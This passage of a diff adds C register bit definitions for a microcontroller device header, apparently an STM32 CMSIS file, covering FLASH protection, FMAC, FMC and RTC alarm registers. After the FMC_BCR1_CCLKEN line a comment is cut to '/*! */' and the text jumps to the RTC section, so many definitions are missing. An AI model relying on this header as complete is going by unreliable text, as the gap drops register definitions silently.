FLASH_SECWM2R1_SECWM2_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_SECWM2R1_SECWM2_PEND FLASH_SECWM2R1_SECWM2_PEND_Msk /*!< End page of second secure area */ + +/***************** Bits definition for FLASH_SECWM2R2 register **************/ +#define FLASH_SECWM2R2_HDP2_PEND_Pos (16UL) +#define FLASH_SECWM2R2_HDP2_PEND_Msk (0xFFUL << FLASH_SECWM2R2_HDP2_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_SECWM2R2_HDP2_PEND FLASH_SECWM2R2_HDP2_PEND_Msk /*!< End page of hide protection second area */ +#define FLASH_SECWM2R2_HDP2EN_Pos (31UL) +#define FLASH_SECWM2R2_HDP2EN_Msk (0x1UL << FLASH_SECWM2R2_HDP2EN_Pos) /*!< 0x80000000 */ +#define FLASH_SECWM2R2_HDP2EN FLASH_SECWM2R2_HDP2EN_Msk /*!< Hide protection second area enable */ + +/****************** Bits definition for FLASH_WRP2AR register ***************/ +#define FLASH_WRP2AR_WRP2A_PSTRT_Pos (0UL) +#define FLASH_WRP2AR_WRP2A_PSTRT_Msk (0xFFUL << FLASH_WRP2AR_WRP2A_PSTRT_Pos) /*!< 0x000000FF */ +#define FLASH_WRP2AR_WRP2A_PSTRT FLASH_WRP2AR_WRP2A_PSTRT_Msk /*!< Bank 2 WPR first area A start page */ +#define FLASH_WRP2AR_WRP2A_PEND_Pos (16UL) +#define FLASH_WRP2AR_WRP2A_PEND_Msk (0xFFUL << FLASH_WRP2AR_WRP2A_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_WRP2AR_WRP2A_PEND FLASH_WRP2AR_WRP2A_PEND_Msk /*!< Bank 2 WPR first area A end page */ +#define FLASH_WRP2AR_UNLOCK_Pos (31UL) +#define FLASH_WRP2AR_UNLOCK_Msk (0x1UL << FLASH_WRP2AR_UNLOCK_Pos) /*!< 0x80000000 */ +#define FLASH_WRP2AR_UNLOCK FLASH_WRP2AR_UNLOCK_Msk /*!< Bank 2 WPR first area A unlock */ + +/****************** Bits definition for FLASH_WRP2BR register ***************/ +#define FLASH_WRP2BR_WRP2B_PSTRT_Pos (0UL) +#define FLASH_WRP2BR_WRP2B_PSTRT_Msk (0xFFUL << FLASH_WRP2BR_WRP2B_PSTRT_Pos) /*!< 0x000000FF */ +#define FLASH_WRP2BR_WRP2B_PSTRT FLASH_WRP2BR_WRP2B_PSTRT_Msk /*!< Bank 2 WPR first area B start page */ +#define FLASH_WRP2BR_WRP2B_PEND_Pos (16UL) +#define FLASH_WRP2BR_WRP2B_PEND_Msk (0xFFUL << FLASH_WRP2BR_WRP2B_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_WRP2BR_WRP2B_PEND FLASH_WRP2BR_WRP2B_PEND_Msk /*!< Bank 2 WPR first area B end page */ +#define FLASH_WRP2BR_UNLOCK_Pos (31UL) +#define FLASH_WRP2BR_UNLOCK_Msk (0x1UL << FLASH_WRP2BR_UNLOCK_Pos) /*!< 0x80000000 */ +#define FLASH_WRP2BR_UNLOCK FLASH_WRP2BR_UNLOCK_Msk /*!< Bank 2 WPR first area B unlock */ + +/****************** Bits definition for FLASH_SECHDPCR register ***********/ +#define FLASH_SECHDPCR_HDP1_ACCDIS_Pos (0UL) +#define FLASH_SECHDPCR_HDP1_ACCDIS_Msk (0x1UL << FLASH_SECHDPCR_HDP1_ACCDIS_Pos) /*!< 0x00000001 */ +#define FLASH_SECHDPCR_HDP1_ACCDIS FLASH_SECHDPCR_HDP1_ACCDIS_Msk /*!< HDP1 area access disable */ +#define FLASH_SECHDPCR_HDP2_ACCDIS_Pos (1UL) +#define FLASH_SECHDPCR_HDP2_ACCDIS_Msk (0x1UL << FLASH_SECHDPCR_HDP2_ACCDIS_Pos) /*!< 0x00000002 */ +#define FLASH_SECHDPCR_HDP2_ACCDIS FLASH_SECHDPCR_HDP2_ACCDIS_Msk /*!< HDP2 area access disable */ + +/****************** Bits definition for FLASH_PRIVCFGR register ***********/ +#define FLASH_PRIVCFGR_SPRIV_Pos (0UL) +#define FLASH_PRIVCFGR_SPRIV_Msk (0x1UL << FLASH_PRIVCFGR_SPRIV_Pos) /*!< 0x00000001 */ +#define FLASH_PRIVCFGR_SPRIV FLASH_PRIVCFGR_SPRIV_Msk /*!< Privilege protection for secure registers */ +#define FLASH_PRIVCFGR_NSPRIV_Pos (1UL) +#define FLASH_PRIVCFGR_NSPRIV_Msk (0x1UL << FLASH_PRIVCFGR_NSPRIV_Pos) /*!< 0x00000002 */ +#define FLASH_PRIVCFGR_NSPRIV FLASH_PRIVCFGR_NSPRIV_Msk /*!< Privilege protection for non-secure registers */ + +/******************************************************************************/ +/* */ +/* Filter Mathematical ACcelerator unit (FMAC) */ +/* */ +/******************************************************************************/ +/***************** Bit definition for FMAC_X1BUFCFG register ****************/ +#define FMAC_X1BUFCFG_X1_BASE_Pos (0UL) +#define FMAC_X1BUFCFG_X1_BASE_Msk (0xFFUL << FMAC_X1BUFCFG_X1_BASE_Pos) /*!< 0x000000FF */ +#define FMAC_X1BUFCFG_X1_BASE FMAC_X1BUFCFG_X1_BASE_Msk /*!< Base address of X1 buffer */ +#define FMAC_X1BUFCFG_X1_BUF_SIZE_Pos (8UL) +#define FMAC_X1BUFCFG_X1_BUF_SIZE_Msk (0xFFUL << FMAC_X1BUFCFG_X1_BUF_SIZE_Pos) /*!< 0x0000FF00 */ +#define FMAC_X1BUFCFG_X1_BUF_SIZE FMAC_X1BUFCFG_X1_BUF_SIZE_Msk /*!< Allocated size of X1 buffer in 16-bit words */ +#define FMAC_X1BUFCFG_FULL_WM_Pos (24UL) +#define FMAC_X1BUFCFG_FULL_WM_Msk (0x3UL << FMAC_X1BUFCFG_FULL_WM_Pos) /*!< 0x03000000 */ +#define FMAC_X1BUFCFG_FULL_WM FMAC_X1BUFCFG_FULL_WM_Msk /*!< Watermark for buffer full flag */ + +/***************** Bit definition for FMAC_X2BUFCFG register ****************/ +#define FMAC_X2BUFCFG_X2_BASE_Pos (0UL) +#define FMAC_X2BUFCFG_X2_BASE_Msk (0xFFUL << FMAC_X2BUFCFG_X2_BASE_Pos) /*!< 0x000000FF */ +#define FMAC_X2BUFCFG_X2_BASE FMAC_X2BUFCFG_X2_BASE_Msk /*!< Base address of X2 buffer */ +#define FMAC_X2BUFCFG_X2_BUF_SIZE_Pos (8UL) +#define FMAC_X2BUFCFG_X2_BUF_SIZE_Msk (0xFFUL << FMAC_X2BUFCFG_X2_BUF_SIZE_Pos) /*!< 0x0000FF00 */ +#define FMAC_X2BUFCFG_X2_BUF_SIZE FMAC_X2BUFCFG_X2_BUF_SIZE_Msk /*!< Size of X2 buffer in 16-bit words */ + +/***************** Bit definition for FMAC_YBUFCFG register *****************/ +#define FMAC_YBUFCFG_Y_BASE_Pos (0UL) +#define FMAC_YBUFCFG_Y_BASE_Msk (0xFFUL << FMAC_YBUFCFG_Y_BASE_Pos) /*!< 0x000000FF */ +#define FMAC_YBUFCFG_Y_BASE FMAC_YBUFCFG_Y_BASE_Msk /*!< Base address of Y buffer */ +#define FMAC_YBUFCFG_Y_BUF_SIZE_Pos (8UL) +#define FMAC_YBUFCFG_Y_BUF_SIZE_Msk (0xFFUL << FMAC_YBUFCFG_Y_BUF_SIZE_Pos) /*!< 0x0000FF00 */ +#define FMAC_YBUFCFG_Y_BUF_SIZE FMAC_YBUFCFG_Y_BUF_SIZE_Msk /*!< Size of Y buffer in 16-bit words */ +#define FMAC_YBUFCFG_EMPTY_WM_Pos (24UL) +#define FMAC_YBUFCFG_EMPTY_WM_Msk (0x3UL << FMAC_YBUFCFG_EMPTY_WM_Pos) /*!< 0x03000000 */ +#define FMAC_YBUFCFG_EMPTY_WM FMAC_YBUFCFG_EMPTY_WM_Msk /*!< Watermark for buffer empty flag */ + +/****************** Bit definition for FMAC_PARAM register ******************/ +#define FMAC_PARAM_P_Pos (0UL) +#define FMAC_PARAM_P_Msk (0xFFUL << FMAC_PARAM_P_Pos) /*!< 0x000000FF */ +#define FMAC_PARAM_P FMAC_PARAM_P_Msk /*!< Input parameter P */ +#define FMAC_PARAM_Q_Pos (8UL) +#define FMAC_PARAM_Q_Msk (0xFFUL << FMAC_PARAM_Q_Pos) /*!< 0x0000FF00 */ +#define FMAC_PARAM_Q FMAC_PARAM_Q_Msk /*!< Input parameter Q */ +#define FMAC_PARAM_R_Pos (16UL) +#define FMAC_PARAM_R_Msk (0xFFUL << FMAC_PARAM_R_Pos) /*!< 0x00FF0000 */ +#define FMAC_PARAM_R FMAC_PARAM_R_Msk /*!< Input parameter R */ +#define FMAC_PARAM_FUNC_Pos (24UL) +#define FMAC_PARAM_FUNC_Msk (0x7FUL << FMAC_PARAM_FUNC_Pos) /*!< 0x7F000000 */ +#define FMAC_PARAM_FUNC FMAC_PARAM_FUNC_Msk /*!< Function */ +#define FMAC_PARAM_FUNC_0 (0x1UL << FMAC_PARAM_FUNC_Pos) /*!< 0x01000000 */ +#define FMAC_PARAM_FUNC_1 (0x2UL << FMAC_PARAM_FUNC_Pos) /*!< 0x02000000 */ +#define FMAC_PARAM_FUNC_2 (0x4UL << FMAC_PARAM_FUNC_Pos) /*!< 0x04000000 */ +#define FMAC_PARAM_FUNC_3 (0x8UL << FMAC_PARAM_FUNC_Pos) /*!< 0x08000000 */ +#define FMAC_PARAM_FUNC_4 (0x10UL << FMAC_PARAM_FUNC_Pos) /*!< 0x10000000 */ +#define FMAC_PARAM_FUNC_5 (0x20UL << FMAC_PARAM_FUNC_Pos) /*!< 0x20000000 */ +#define FMAC_PARAM_FUNC_6 (0x40UL << FMAC_PARAM_FUNC_Pos) /*!< 0x40000000 */ +#define FMAC_PARAM_START_Pos (31UL) +#define FMAC_PARAM_START_Msk (0x1UL << FMAC_PARAM_START_Pos) /*!< 0x80000000 */ +#define FMAC_PARAM_START FMAC_PARAM_START_Msk /*!< Enable execution */ + +/******************** Bit definition for FMAC_CR register *******************/ +#define FMAC_CR_RIEN_Pos (0UL) +#define FMAC_CR_RIEN_Msk (0x1UL << FMAC_CR_RIEN_Pos) /*!< 0x00000001 */ +#define FMAC_CR_RIEN FMAC_CR_RIEN_Msk /*!< Enable read interrupt */ +#define FMAC_CR_WIEN_Pos (1UL) +#define FMAC_CR_WIEN_Msk (0x1UL << FMAC_CR_WIEN_Pos) /*!< 0x00000002 */ +#define FMAC_CR_WIEN FMAC_CR_WIEN_Msk /*!< Enable write interrupt */ +#define FMAC_CR_OVFLIEN_Pos (2UL) +#define FMAC_CR_OVFLIEN_Msk (0x1UL << FMAC_CR_OVFLIEN_Pos) /*!< 0x00000004 */ +#define FMAC_CR_OVFLIEN FMAC_CR_OVFLIEN_Msk /*!< Enable overflow error interrupts */ +#define FMAC_CR_UNFLIEN_Pos (3UL) +#define FMAC_CR_UNFLIEN_Msk (0x1UL << FMAC_CR_UNFLIEN_Pos) /*!< 0x00000008 */ +#define FMAC_CR_UNFLIEN FMAC_CR_UNFLIEN_Msk /*!< Enable underflow error interrupts */ +#define FMAC_CR_SATIEN_Pos (4UL) +#define FMAC_CR_SATIEN_Msk (0x1UL << FMAC_CR_SATIEN_Pos) /*!< 0x00000010 */ +#define FMAC_CR_SATIEN FMAC_CR_SATIEN_Msk /*!< Enable saturation error interrupts */ +#define FMAC_CR_DMAREN_Pos (8UL) +#define FMAC_CR_DMAREN_Msk (0x1UL << FMAC_CR_DMAREN_Pos) /*!< 0x00000100 */ +#define FMAC_CR_DMAREN FMAC_CR_DMAREN_Msk /*!< Enable DMA read channel requests */ +#define FMAC_CR_DMAWEN_Pos (9UL) +#define FMAC_CR_DMAWEN_Msk (0x1UL << FMAC_CR_DMAWEN_Pos) /*!< 0x00000200 */ +#define FMAC_CR_DMAWEN FMAC_CR_DMAWEN_Msk /*!< Enable DMA write channel requests */ +#define FMAC_CR_CLIPEN_Pos (15UL) +#define FMAC_CR_CLIPEN_Msk (0x1UL << FMAC_CR_CLIPEN_Pos) /*!< 0x00008000 */ +#define FMAC_CR_CLIPEN FMAC_CR_CLIPEN_Msk /*!< Enable clipping */ +#define FMAC_CR_RESET_Pos (16UL) +#define FMAC_CR_RESET_Msk (0x1UL << FMAC_CR_RESET_Pos) /*!< 0x00010000 */ +#define FMAC_CR_RESET FMAC_CR_RESET_Msk /*!< Reset filter mathematical accelerator unit */ + +/******************* Bit definition for FMAC_SR register ********************/ +#define FMAC_SR_YEMPTY_Pos (0UL) +#define FMAC_SR_YEMPTY_Msk (0x1UL << FMAC_SR_YEMPTY_Pos) /*!< 0x00000001 */ +#define FMAC_SR_YEMPTY FMAC_SR_YEMPTY_Msk /*!< Y buffer empty flag */ +#define FMAC_SR_X1FULL_Pos (1UL) +#define FMAC_SR_X1FULL_Msk (0x1UL << FMAC_SR_X1FULL_Pos) /*!< 0x00000002 */ +#define FMAC_SR_X1FULL FMAC_SR_X1FULL_Msk /*!< X1 buffer full flag */ +#define FMAC_SR_OVFL_Pos (8UL) +#define FMAC_SR_OVFL_Msk (0x1UL << FMAC_SR_OVFL_Pos) /*!< 0x00000100 */ +#define FMAC_SR_OVFL FMAC_SR_OVFL_Msk /*!< Overflow error flag */ +#define FMAC_SR_UNFL_Pos (9UL) +#define FMAC_SR_UNFL_Msk (0x1UL << FMAC_SR_UNFL_Pos) /*!< 0x00000200 */ +#define FMAC_SR_UNFL FMAC_SR_UNFL_Msk /*!< Underflow error flag */ +#define FMAC_SR_SAT_Pos (10UL) +#define FMAC_SR_SAT_Msk (0x1UL << FMAC_SR_SAT_Pos) /*!< 0x00000400 */ +#define FMAC_SR_SAT FMAC_SR_SAT_Msk /*!< Saturation error flag */ + +/****************** Bit definition for FMAC_WDATA register ******************/ +#define FMAC_WDATA_WDATA_Pos (0UL) +#define FMAC_WDATA_WDATA_Msk (0xFFFFUL << FMAC_WDATA_WDATA_Pos) /*!< 0x0000FFFF */ +#define FMAC_WDATA_WDATA FMAC_WDATA_WDATA_Msk /*!< Write data */ + +/****************** Bit definition for FMACX_RDATA register *****************/ +#define FMAC_RDATA_RDATA_Pos (0UL) +#define FMAC_RDATA_RDATA_Msk (0xFFFFUL << FMAC_RDATA_RDATA_Pos) /*!< 0x0000FFFF */ +#define FMAC_RDATA_RDATA FMAC_RDATA_RDATA_Msk /*!< Read data */ + +/******************************************************************************/ +/* */ +/* Flexible Memory Controller */ +/* */ +/******************************************************************************/ +/****************** Bit definition for FMC_BCR1 register *******************/ +#define FMC_BCR1_CCLKEN_Pos (20UL) +#define FMC_BCR1_CCLKEN_Msk (0x1UL << FMC_BCR1_CCLKEN_Pos) /*!< 0x00100000 */ +#define FMC_BCR1_CCLKEN FMC_BCR1_CCLKEN_Msk /*! */ + +/******************** Bits definition for RTC_ALRMAR register ***************/ +#define RTC_ALRMAR_SU_Pos (0UL) +#define RTC_ALRMAR_SU_Msk (0xFUL << RTC_ALRMAR_SU_Pos) /*!< 0x0000000F */ +#define RTC_ALRMAR_SU RTC_ALRMAR_SU_Msk +#define RTC_ALRMAR_SU_0 (0x1UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000001 */ +#define RTC_ALRMAR_SU_1 (0x2UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000002 */ +#define RTC_ALRMAR_SU_2 (0x4UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000004 */ +#define RTC_ALRMAR_SU_3 (0x8UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000008 */ +#define RTC_ALRMAR_ST_Pos (4UL) +#define RTC_ALRMAR_ST_Msk (0x7UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000070 */ +#define RTC_ALRMAR_ST RTC_ALRMAR_ST_Msk +#define RTC_ALRMAR_ST_0 (0x1UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000010 */ +#define RTC_ALRMAR_ST_1 (0x2UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000020 */ +#define RTC_ALRMAR_ST_2 (0x4UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000040 */ +#define RTC_ALRMAR_MSK1_Pos (7UL) +#define RTC_ALRMAR_MSK1_Msk (0x1UL << RTC_ALRMAR_MSK1_Pos) /*!< 0x00000080 */ +#define RTC_ALRMAR_MSK1 RTC_ALRMAR_MSK1_Msk +#define RTC_ALRMAR_MNU_Pos (8UL) +#define RTC_ALRMAR_MNU_Msk (0xFUL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000F00 */ +#define RTC_ALRMAR_MNU RTC_ALRMAR_MNU_Msk +#define RTC_ALRMAR_MNU_0 (0x1UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000100 */ +#define RTC_ALRMAR_MNU_1 (0x2UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000200 */ +#define RTC_ALRMAR_MNU_2 (0x4UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000400 */ +#define RTC_ALRMAR_MNU_3 (0x8UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000800 */ +#define RTC_ALRMAR_MNT_Pos (12UL) +#define RTC_ALRMAR_MNT_Msk (0x7UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00007000 */ +#define RTC_ALRMAR_MNT RTC_ALRMAR_MNT_Msk +#define RTC_ALRMAR_MNT_0 (0x1UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00001000 */ +#define RTC_ALRMAR_MNT_1 (0x2UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00002000 */ +#define RTC_ALRMAR_MNT_2 (0x4UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00004000 */ +#define RTC_ALRMAR_MSK2_Pos (15UL) +#define RTC_ALRMAR_MSK2_Msk (0x1UL << RTC_ALRMAR_MSK2_Pos) /*!< 0x00008000 */ +#define RTC_ALRMAR_MSK2 RTC_ALRMAR_MSK2_Msk +#define RTC_ALRMAR_HU_Pos (16UL) +#define RTC_ALRMAR_HU_Msk (0xFUL << RTC_ALRMAR_HU_Pos) /*!< 0x000F0000 */ +#define RTC_ALRMAR_HU RTC_ALRMAR_HU_Msk +#define RTC_ALRMAR_HU_0 (0x1UL << RTC_ALRMAR_HU_Pos) /*!< 0x00010000 */ +#define RTC_ALRMAR_HU_1 (0x2UL << RTC_ALRMAR_HU_Pos) /*!< 0x00020000 */ +#define RTC_ALRMAR_HU_2 (0x4UL << RTC_ALRMAR_HU_Pos) /*!< 0x00040000 */ +#define RTC_ALRMAR_HU_3 (0x8UL << RTC_ALRMAR_HU_Pos) /*!< 0x00080000 */ +#define RTC_ALRMAR_HT_Pos (20UL) +#define RTC_ALRMAR_HT_Msk (0x3UL << RTC_ALRMAR_HT_Pos) /*!< 0x00300000 */ +#define RTC_ALRMAR_HT RTC_ALRMAR_HT_Msk +#define RTC_ALRMAR_HT_0 (0x1UL << RTC_ALRMAR_HT_Pos) /*!< 0x00100000 */ +#define RTC_ALRMAR_HT_1 (0x2UL << RTC_ALRMAR_HT_Pos) /*!< 0x00200000 */ +#define RTC_ALRMAR_PM_Pos (22UL) +#define RTC_ALRMAR_PM_Msk (0x1UL << RTC_ALRMAR_PM_Pos) /*!< 0x00400000 */ +#define RTC_ALRMAR_PM RTC_ALRMAR_PM_Msk +#define RTC_ALRMAR_MSK3_Pos (23UL) +#define RTC_ALRMAR_MSK3_Msk (0x1UL << RTC_ALRMAR_MSK3_Pos) /*!< 0x00800000 */ +#define RTC_ALRMAR_MSK3 RTC_ALRMAR_MSK3_Msk +#define RTC_ALRMAR_DU_Pos (24UL) +#define RTC_ALRMAR_DU_Msk (0xFUL << RTC_ALRMAR_DU_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMAR_DU RTC_ALRMAR_DU_Msk +#define RTC_ALRMAR_DU_0 (0x1UL << RTC_ALRMAR_DU_Pos) /*!< 0x01000000 */ +#define RTC_ALRMAR_DU_1 (0x2UL << RTC_ALRMAR_DU_Pos) /*!< 0x02000000 */ +#define RTC_ALRMAR_DU_2 (0x4UL << RTC_ALRMAR_DU_Pos) /*!< 0x04000000 */ +#define RTC_ALRMAR_DU_3 (0x8UL << RTC_ALRMAR_DU_Pos) /*!< 0x08000000 */ +#define RTC_ALRMAR_DT_Pos (28UL) +#define RTC_ALRMAR_DT_Msk (0x3UL << RTC_ALRMAR_DT_Pos) /*!< 0x30000000 */ +#define RTC_ALRMAR_DT RTC_ALRMAR_DT_Msk +#define RTC_ALRMAR_DT_0 (0x1UL << RTC_ALRMAR_DT_Pos) /*!< 0x10000000 */ +#define RTC_ALRMAR_DT_1 (0x2UL << RTC_ALRMAR_DT_Pos) /*!< 0x20000000 */ +#define RTC_ALRMAR_WDSEL_Pos (30UL) +#define RTC_ALRMAR_WDSEL_Msk (0x1UL << RTC_ALRMAR_WDSEL_Pos) /*!< 0x40000000 */ +#define RTC_ALRMAR_WDSEL RTC_ALRMAR_WDSEL_Msk +#define RTC_ALRMAR_MSK4_Pos (31UL) +#define RTC_ALRMAR_MSK4_Msk (0x1UL << RTC_ALRMAR_MSK4_Pos) /*!< 0x80000000 */ +#define RTC_ALRMAR_MSK4 RTC_ALRMAR_MSK4_Msk + +/******************** Bits definition for RTC_ALRMASSR register *************/ +#define RTC_ALRMASSR_SS_Pos (0UL) +#define RTC_ALRMASSR_SS_Msk (0x7FFFUL << RTC_ALRMASSR_SS_Pos) /*!< 0x00007FFF */ +#define RTC_ALRMASSR_SS RTC_ALRMASSR_SS_Msk +#define RTC_ALRMASSR_MASKSS_Pos (24UL) +#define RTC_ALRMASSR_MASKSS_Msk (0xFUL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMASSR_MASKSS RTC_ALRMASSR_MASKSS_Msk +#define RTC_ALRMASSR_MASKSS_0 (0x1UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x01000000 */ +#define RTC_ALRMASSR_MASKSS_1 (0x2UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x02000000 */ +#define RTC_ALRMASSR_MASKSS_2 (0x4UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x04000000 */ +#define RTC_ALRMASSR_MASKSS_3 (0x8UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x08000000 */ +#define RTC_ALRMASSR_SSCLR_Pos (31UL) +#define RTC_ALRMASSR_SSCLR_Msk (0x1UL << RTC_ALRMASSR_SSCLR_Pos) /*!< 0x80000000 */ +#define RTC_ALRMASSR_SSCLR RTC_ALRMASSR_SSCLR_Msk + +/******************** Bits definition for RTC_ALRMBR register ***************/ +#define RTC_ALRMBR_SU_Pos (0UL) +#define RTC_ALRMBR_SU_Msk (0xFUL << RTC_ALRMBR_SU_Pos) /*!< 0x0000000F */ +#define RTC_ALRMBR_SU RTC_ALRMBR_SU_Msk +#define RTC_ALRMBR_SU_0 (0x1UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000001 */ +#define RTC_ALRMBR_SU_1 (0x2UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000002 */ +#define RTC_ALRMBR_SU_2 (0x4UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000004 */ +#define RTC_ALRMBR_SU_3 (0x8UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000008 */ +#define RTC_ALRMBR_ST_Pos (4UL) +#define RTC_ALRMBR_ST_Msk (0x7UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000070 */ +#define RTC_ALRMBR_ST RTC_ALRMBR_ST_Msk +#define RTC_ALRMBR_ST_0 (0x1UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000010 */ +#define RTC_ALRMBR_ST_1 (0x2UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000020 */ +#define RTC_ALRMBR_ST_2 (0x4UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000040 */ +#define RTC_ALRMBR_MSK1_Pos (7UL) +#define RTC_ALRMBR_MSK1_Msk (0x1UL << RTC_ALRMBR_MSK1_Pos) /*!< 0x00000080 */ +#define RTC_ALRMBR_MSK1 RTC_ALRMBR_MSK1_Msk +#define RTC_ALRMBR_MNU_Pos (8UL) +#define RTC_ALRMBR_MNU_Msk (0xFUL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000F00 */ +#define RTC_ALRMBR_MNU RTC_ALRMBR_MNU_Msk +#define RTC_ALRMBR_MNU_0 (0x1UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000100 */ +#define RTC_ALRMBR_MNU_1 (0x2UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000200 */ +#define RTC_ALRMBR_MNU_2 (0x4UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000400 */ +#define RTC_ALRMBR_MNU_3 (0x8UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000800 */ +#define RTC_ALRMBR_MNT_Pos (12UL) +#define RTC_ALRMBR_MNT_Msk (0x7UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00007000 */ +#define RTC_ALRMBR_MNT RTC_ALRMBR_MNT_Msk +#define RTC_ALRMBR_MNT_0 (0x1UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00001000 */ +#define RTC_ALRMBR_MNT_1 (0x2UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00002000 */ +#define RTC_ALRMBR_MNT_2 (0x4UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00004000 */ +#define RTC_ALRMBR_MSK2_Pos (15UL) +#define RTC_ALRMBR_MSK2_Msk (0x1UL << RTC_ALRMBR_MSK2_Pos) /*!< 0x00008000 */ +#define RTC_ALRMBR_MSK2 RTC_ALRMBR_MSK2_Msk +#define RTC_ALRMBR_HU_Pos (16UL) +#define RTC_ALRMBR_HU_Msk (0xFUL << RTC_ALRMBR_HU_Pos) /*!< 0x000F0000 */ +#define RTC_ALRMBR_HU RTC_ALRMBR_HU_Msk +#define RTC_ALRMBR_HU_0 (0x1UL << RTC_ALRMBR_HU_Pos) /*!< 0x00010000 */ +#define RTC_ALRMBR_HU_1 (0x2UL << RTC_ALRMBR_HU_Pos) /*!< 0x00020000 */ +#define RTC_ALRMBR_HU_2 (0x4UL << RTC_ALRMBR_HU_Pos) /*!< 0x00040000 */ +#define RTC_ALRMBR_HU_3 (0x8UL << RTC_ALRMBR_HU_Pos) /*!< 0x00080000 */ +#define RTC_ALRMBR_HT_Pos (20UL) +#define RTC_ALRMBR_HT_Msk (0x3UL << RTC_ALRMBR_HT_Pos) /*!< 0x00300000 */ +#define RTC_ALRMBR_HT RTC_ALRMBR_HT_Msk +#define RTC_ALRMBR_HT_0 (0x1UL << RTC_ALRMBR_HT_Pos) /*!< 0x00100000 */ +#define RTC_ALRMBR_HT_1 (0x2UL << RTC_ALRMBR_HT_Pos) /*!< 0x00200000 */ +#define RTC_ALRMBR_PM_Pos (22UL) +#define RTC_ALRMBR_PM_Msk (0x1UL << RTC_ALRMBR_PM_Pos) /*!< 0x00400000 */ +#define RTC_ALRMBR_PM RTC_ALRMBR_PM_Msk +#define RTC_ALRMBR_MSK3_Pos (23UL) +#define RTC_ALRMBR_MSK3_Msk (0x1UL << RTC_ALRMBR_MSK3_Pos) /*!< 0x00800000 */ +#define RTC_ALRMBR_MSK3 RTC_ALRMBR_MSK3_Msk +#define RTC_ALRMBR_DU_Pos (24UL) +#define RTC_ALRMBR_DU_Msk (0xFUL << RTC_ALRMBR_DU_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMBR_DU RTC_ALRMBR_DU_Msk +#define RTC_ALRMBR_DU_0 (0x1UL << RTC_ALRMBR_DU_Pos) /*!< 0x01000000 */ +#define RTC_ALRMBR_DU_1 (0x2UL << RTC_ALRMBR_DU_Pos) /*!< 0x02000000 */ +#define RTC_ALRMBR_DU_2 (0x4UL << RTC_ALRMBR_DU_Pos) /*!< 0x04000000 */ +#define RTC_ALRMBR_DU_3 (0x8UL << RTC_ALRMBR_DU_Pos) /*!< 0x08000000 */ +#define RTC_ALRMBR_DT_Pos (28UL) +#define RTC_ALRMBR_DT_Msk (0x3UL << RTC_ALRMBR_DT_Pos) /*!< 0x30000000 */ +#define RTC_ALRMBR_DT RTC_ALRMBR_DT_Msk +#define RTC_ALRMBR_DT_0 (0x1UL << RTC_ALRMBR_DT_Pos) /*!< 0x10000000 */ +#define RTC_ALRMBR_DT_1 (0x2UL << RTC_ALRMBR_DT_Pos) /*!< 0x20000000 */ +#define RTC_ALRMBR_WDSEL_Pos (30UL) +#define RTC_ALRMBR_WDSEL_Msk (0x1UL << RTC_ALRMBR_WDSEL_Pos) /*!< 0x40000000 */ +#define RTC_ALRMBR_WDSEL RTC_ALRMBR_WDSEL_Msk +#define RTC_ALRMBR_MSK4_Pos (31UL) +#define RTC_ALRMBR_MSK4_Msk (0x1UL << RTC_ALRMBR_MSK4_Pos) /*!< 0x80000000 */ +#define RTC_ALRMBR_MSK4 RTC_ALRMBR_MSK4_Msk + +/******************** Bits definition for RTC_ALRMBSSR register *************/ +#define RTC_ALRMBSSR_SS_Pos (0UL) +#define RTC_ALRMBSSR_SS_Msk (0x7FFFUL << RTC_ALRMBSSR_SS_Pos) /*!< 0x00007FFF */ +#define RTC_ALRMBSSR_SS RTC_ALRMBSSR_SS_Msk +#define RTC_ALRMBSSR_MASKSS_Pos (24UL) +#define RTC_ALRMBSSR_MASKSS_Msk (0xFUL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMBSSR_MASKSS RTC_ALRMBSSR_MASKSS_Msk +#define RTC_ALRMBSSR_MASKSS_0 (0x1UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x01000000 */ +#define RTC_ALRMBSSR_MASKSS_1 (0x2UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x02000000 */ +#define RTC_ALRMBSSR_MASKSS_2 